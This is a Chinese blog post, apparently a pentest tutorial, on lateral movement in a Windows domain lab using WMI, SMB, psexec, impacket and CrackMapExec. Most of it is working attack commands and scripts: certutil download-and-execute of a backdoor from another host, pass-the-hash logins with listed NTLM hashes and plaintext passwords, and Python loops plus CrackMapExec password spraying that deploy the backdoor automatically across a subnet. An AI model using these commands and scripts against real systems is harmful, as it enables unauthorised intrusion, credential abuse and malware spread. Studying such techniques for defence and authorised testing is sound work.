当前位置:   article > 正文

【内网安全】横向移动-Wmi-Smb-CME密码喷射_impacket-0.11.0

impacket-0.11.0

环境介绍

已经获取到了webserver服务器的权限
横向移动到其他域内主机

域信息收集-横向移动前置

net user /domain 获取域内用户
mimikatz logonpasswords
Ladon Adfinder BloodHound 
  • 1
  • 2
  • 3
判断是不是在域内

CS: shell net time /domian

同时获取到了它的域名

获取域控主机的内网ip

CS:shell ping OWA2010CN-God.god.org

推测 192.168.3.21 就是域控主机

端口扫描内网


因为内网是在3网段,端口扫描3网段

目标列表

获取主机密码


可以抓hash也可以抓明文

当完成以上步骤后,就可以开始进行横向移动了

域横向移动-WMI-自带&命令&套件&插件

WMI是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,

并且该方法不会在目标日志系统留下痕迹。
以下有三种WMI横向移动方法

1.wmic

系统自带:(单执行:即无回显)

192.168.3.32主机下载192.168.3.31主机上的4445.exe

wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4445.exe c:/4445.exe"
  • 1

成功后不会显示回显

但已经执行成功了

运行4445.exe

wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe c:/4445.exe"
  • 1

2.cscript

系统自带:(交互式)

上传wmiexec.vbs到web主机上

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
  • 1


但这个不适合在 CS 上面用
适合在shell里面做横向移动

3.wmiexec-impacket(推荐)

第三方:(交互式&单执行)

这个有两种运行方式

  1. 上传到主机上运行(不推荐,容易被杀且文件过大)
  2. 建立socks节点在本机上运行(推荐)
建立节点进行通讯


端口随便设置,但在安全组里面要设置开启

用代理软件连接代理即可

这时就可以用本机进行通讯了

执行命令

登录192.168.3.32主机并执行whoami命令

python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "whoami"
  • 1

hash命令执行

同上,但用 hash 进行命令执行

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
  • 1

生成代理转发上线后门


监听地址设置为web服务器的内网地址(因为要与其他域内主机进行通讯)

生成后门

下载后门:


上传后门到网站服务器根目录 C:\inetpub\wwwroot

下载后门

python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe" 
  • 1


下载成功

执行后门:
python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c c:/4455.exe"
  • 1


成功上线

也可以将下载执行合并在一起,一条命令解决

python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:\4455.exe"
  • 1

域横向移动-SMB-自带&命令&套件&插件

利用SMB服务可以通过明文或hash传递来远程执行,
条件:445服务端口开放。

1.psexec

PsTools - Sysinternals | Microsoft Learn

系统官方工具包:(交互式 windows官方工具)

需要管理员权限运行
反弹cmd

psexec64.exe \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
  • 1

第三方:(交互式 第三方开发的工具)

第三方的支持用 Hash 连接,且不需要管理员执行

python psexec.py  -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
  • 1


用账号密码连接

python psexec.py ./administrator:admin!@# 45@192.168.3.32
  • 1
CS插件:

cs-psexec

监听器选择内网的这个,修改一下用户名

这个 如果填写就是用域用户的administrator进行登录,不填就是本地登录

有时候域用户登不上(因为账号密码需要域控的密码),可以不填写域试试
这里不填就上线成功了

2.smbexec-impacket

第三方:(交互式)
明文密码登录
python smbexec.py ./administrator:admin!@#45@192.168.3.32
  • 1

smbexec god/administrator:admin!@#45@192.168.3.32
  • 1

上线失败,因为登录的是域内的administrator 密码不对

hash登录
python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
  • 1

3.services(不好用)

系统自带:(单执行)
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe
  • 1
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell
  • 1

域横向移动-工具-Proxychains&CrackMapExec

1、Windows+Proxifier+Python_exp

import os

ips = {
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}

def down():
    for ip in ips:
        wmi_exec = 'D:\\Python\\python-3.8.10\\python.exe D:\\tools\内网\impacket-0.11.0\examples\\wmiexec.py ./administrator:admin!@#45@%s "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"' % ip
        print(wmi_exec)
        os.system(wmi_exec)

def zx():
    for ip in ips:
        wmi_exec = 'D:\\Python\\python-3.8.10\\python.exe D:\\tools\内网\impacket-0.11.0\examples\\wmiexec.py ./administrator:admin!@#45@%s "c:/4455.exe"' % ip
        print(wmi_exec)
        os.system(wmi_exec)

if __name__ == '__main__':
    down()
    zx()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

运行脚本,成功上线了内网另外一台主机

对它抓密码凭证,成功获取出一个hash

这里给一个我自己修改后的脚本,支持明文与hash密码
自己修改一下脚本与python位置就行了

import subprocess

ips = {
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}

users = {
    'administrator'
}

passwords = {
    'admin!@#45'
}

hashes = {
    'ccef208c6485269c20db2cad21734fe7'
}

def execute_command(command, timeout=20):
    try:
        result = subprocess.run(command, shell=True, timeout=timeout)
        if result.returncode != 0:
            print(f'\033[93m账号或密码错误:\033[0m {command}\n')
    except subprocess.TimeoutExpired:
        print(f'\033[93m命令执行超时:\033[0m {command}\n')
    except Exception as e:
        print(f'\033[93m命令执行时出现错误:\033[0m {e}\n')

def down():
    for ip in ips:
        for user in users:
            for passwd in passwords:
                wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py ./{user}:{passwd}@{ip} "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"'
                print(f'\033[92m尝试下载文件:  当前ip: {ip}  当前用户: {user}  当前密码: {passwd}\033[0m')
                print(wmi_exec)
                execute_command(wmi_exec)

def zx():
    for ip in ips:
        for user in users:
            for passwd in passwords:
                wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py ./{user}:{passwd}@{ip} "cmd.exe /c c:/4455.exe"'
                print(f'\033[92m尝试运行程序:  当前ip: {ip}  当前用户: {user}  当前密码: {passwd}\033[0m')
                execute_command(wmi_exec)

def hash_down():
    for ip in ips:
        for user in users:
            for hash in hashes:
                wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py -hashes :{hash} ./{user}@{ip} "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"'
                print(wmi_exec)
                print(f'\033[92m尝试下载文件:  当前ip: {ip}  当前用户: {user}  当前hash密码: {hash}\033[0m')
                execute_command(wmi_exec)

def hash_zx():
    for ip in ips:
        for user in users:
            for hash in hashes:
                wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py -hashes :{hash} ./{user}@{ip} "cmd.exe /c c:/4455.exe"'
                print(f'\033[92m尝试运行程序: 当前ip: {ip}  当前用户: {user}  当前hash密码: {hash}\033[0m')
                print(wmi_exec)
                execute_command(wmi_exec)

if __name__ == '__main__':
    down()
    zx()
    hash_down()
    hash_zx()

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73

2、Linux+Proxychains+CrackMapExec

CrackMapExec

GithubGitHub - byt3bl33d3r/CrackMapExec: A swiss army knife for pentesting networks

官方手册Site Unreachable

部分案例CrackMapExec:一款针对大型Windows活动目录(AD)的后渗透工具 - FreeBuf网络安全行业门户

下载对应release,建立socks连接,设置socks代理,配置规则,调用
安装:Site Unreachable

我在服务器上试了半天没有成功,最后还是在本地kali上进行安装,(一条命令解决)
apt-get install crackmapexec

Linux Proxychains使用

安装使用proxychains 安装和proxychains 代理nmap-CSDN博客

代理配置:Proxychains.conf

代理调用:Proxychains 命令

密码喷射域登录:
proxychains  crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45 '
  • 1

基本都失败了,因为用的域登录

密码喷射本地登录:
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth
  • 1

成功两个

hash密码登录
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -H 'ccef208c6485269c20db2cad21734fe7'
  • 1

密码喷射本地登录命令执行:
proxychains crackmapexec  smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'whoami' --local-auth
  • 1

密码喷射本地登录命令执行上线:
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth
  • 1

成功上线

密码喷射域登录命令执行上线:
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'
  • 1
密码喷射本地&域登录命令执行全自动上线:
先创建两个txt 写入域内账号 密码(一行一条)
vim user.txt
vim pass.txt
  • 1
  • 2
  • 3

域登录全自动上线

proxychains crackmapexec smb 192.168.3.21-32 -u user.txt -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'
  • 1

本地登录全自动上线

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth
  • 1
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/941562
推荐阅读
相关标签
  

闽ICP备14008679号